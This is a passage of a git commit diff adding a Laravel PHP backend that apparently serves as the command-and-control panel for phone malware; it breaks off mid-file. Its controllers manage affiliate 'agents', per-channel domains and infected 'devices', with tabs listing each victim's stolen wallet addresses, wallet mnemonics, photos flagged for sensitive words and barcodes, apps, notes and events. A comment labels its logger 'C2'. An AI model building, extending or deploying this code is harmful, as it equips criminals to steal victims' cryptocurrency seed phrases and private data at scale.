init
This commit is contained in:
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||
|
||||
if (! function_exists('create_log')) {
|
||||
/**
|
||||
* Append a line to public/log/{type}/Ymd.log
|
||||
*
|
||||
* @param array|string $str
|
||||
*/
|
||||
function create_log($str, string $type = 'c2'): void
|
||||
{
|
||||
$str = is_array($str) ? json_encode($str, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) : (string) $str;
|
||||
$logPath = public_path('log/'.$type);
|
||||
if (! is_dir($logPath)) {
|
||||
$old = umask(0);
|
||||
mkdir($logPath, 0777, true);
|
||||
umask($old);
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
try {
|
||||
$url = request()->getRequestUri();
|
||||
} catch (\Throwable) {
|
||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
file_put_contents($logName, $logStr, FILE_APPEND);
|
||||
if ($isNew) {
|
||||
try {
|
||||
chmod($logName, 0777);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AdminUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.system.admins');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Admin::query();
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$selfId = (int) auth('admin')->id();
|
||||
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
|
||||
return [
|
||||
'id' => $a->id,
|
||||
'username' => $a->username,
|
||||
'is_super' => (int) $a->is_super,
|
||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||
'is_self' => $a->id === $selfId,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'is_super' => (int) ($data['is_super'] ?? 0),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Admin $adminUser)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
|
||||
$newSuper = (int) $data['is_super'];
|
||||
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
|
||||
}
|
||||
$adminUser->is_super = $newSuper;
|
||||
}
|
||||
|
||||
if (! empty($data['password'])) {
|
||||
$adminUser->password = $data['password'];
|
||||
}
|
||||
$adminUser->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function destroy(Admin $adminUser)
|
||||
{
|
||||
if ((int) $adminUser->id === (int) auth('admin')->id()) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
|
||||
}
|
||||
if ($adminUser->isSuper() && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
|
||||
}
|
||||
|
||||
$adminUser->delete();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function superCount(): int
|
||||
{
|
||||
return (int) Admin::query()->where('is_super', 1)->count();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AgentUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.agents.index');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = User::query()->withCount('channels');
|
||||
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
$status = $request->query('status');
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (User $u) {
|
||||
return [
|
||||
'id' => $u->id,
|
||||
'username' => $u->username,
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, User $agent)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
$agent->comment = $data['comment'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$agent->status = (int) $data['status'];
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
$agent->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function channels(User $agent)
|
||||
{
|
||||
$rows = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->orderByDesc('id')
|
||||
->get()
|
||||
->map(fn (Channel $c) => [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'status' => (int) $c->status,
|
||||
'remark' => $c->remark ?: '',
|
||||
'links' => $c->supportLinks(),
|
||||
])
|
||||
->values();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('admin')->check()) {
|
||||
return redirect()->route('admin.home');
|
||||
}
|
||||
|
||||
return view('admin.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('admin.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
if (Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('admin.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('admin')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('admin.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,296 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
class ChannelController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.channels.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'maxPerAgent' => Channel::maxPerAgent(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Channel::query()->with('user:id,username');
|
||||
|
||||
if ($agent = $this->agent()) {
|
||||
$q->where('user_id', $agent->id);
|
||||
}
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $request->query('agent_user_id');
|
||||
$status = $request->query('status');
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
|
||||
$q->where('user_id', (int) $agentUserId);
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
$domains = Channel::normalizeDomainList($c->domains);
|
||||
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'domains' => $domains,
|
||||
'domains_text' => implode("\n", $domains),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId()
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$domains = SettingsService::parseDomains($data['domains'] ?? null);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$projects->generate($data['channel_id'], $domains);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $domains) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
// The user row lock serializes quota checks for this agent.
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'user_id' => $userId,
|
||||
'domains' => $domains,
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'links' => $channel->supportLinks(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Channel $channel)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
if ($this->isAgentPortal()) {
|
||||
$data = $request->validate([
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
if ($userId !== (int) $channel->user_id && $userId > 0) {
|
||||
$this->assertAgentChannelQuota($userId, $channel->id);
|
||||
}
|
||||
$channel->user_id = $userId;
|
||||
}
|
||||
if (array_key_exists('domains', $data)) {
|
||||
$channel->domains = SettingsService::parseDomains($data['domains']);
|
||||
}
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
}
|
||||
|
||||
$channel->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['links' => $channel->supportLinks()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '删除失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
|
||||
{
|
||||
if ($userId <= 0) {
|
||||
return;
|
||||
}
|
||||
$q = Channel::query()->where('user_id', $userId);
|
||||
if ($exceptChannelId) {
|
||||
$q->where('id', '!=', $exceptChannelId);
|
||||
}
|
||||
$count = $q->count();
|
||||
$max = Channel::maxPerAgent();
|
||||
if ($count >= $max) {
|
||||
throw ValidationException::withMessages([
|
||||
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeChannel(Channel $channel): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function compensateBuildUnlessChannelExists(
|
||||
ChannelProjectService $projects,
|
||||
string $channelId
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
// project must not be removed by this request's compensation.
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Skipped channel build compensation because DB state is unknown', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class DashboardController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.dashboard.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$range = (string) $request->query('range', '30d');
|
||||
[$from, $to] = $this->rangeBounds($range);
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $this->isAgentPortal()
|
||||
? (int) ($this->agent()?->id ?? 0)
|
||||
: (int) $request->query('agent_user_id', 0);
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $this->agent());
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'total' => $total,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
private function rangeBounds(string $range): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return match ($range) {
|
||||
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||
'yesterday' => [
|
||||
$now->copy()->subDay()->startOfDay(),
|
||||
$now->copy()->subDay()->endOfDay(),
|
||||
],
|
||||
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.devices.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'updated_at';
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
$addressSources = collect();
|
||||
$addressChains = collect();
|
||||
if ($tab === 'wallets') {
|
||||
$addressSources = $device->addresses()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source')
|
||||
->values();
|
||||
$addressChains = $device->addresses()
|
||||
->whereNotNull('chain_type')
|
||||
->where('chain_type', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('chain_type')
|
||||
->pluck('chain_type')
|
||||
->values();
|
||||
}
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function tabData(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
$ids = AgentScope::channelIdsFor($agent);
|
||||
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
$q = $device->photos();
|
||||
// sensitive=1 → x_hit > 0(含敏感词)
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('x_hit', '>', 0);
|
||||
}
|
||||
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
||||
return [
|
||||
'id' => $photo->id,
|
||||
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
||||
'sha256' => $photo->sha256 ?: '',
|
||||
'size' => $photo->size,
|
||||
'x_hit' => $photo->x_hit,
|
||||
'upload_count' => $photo->upload_count,
|
||||
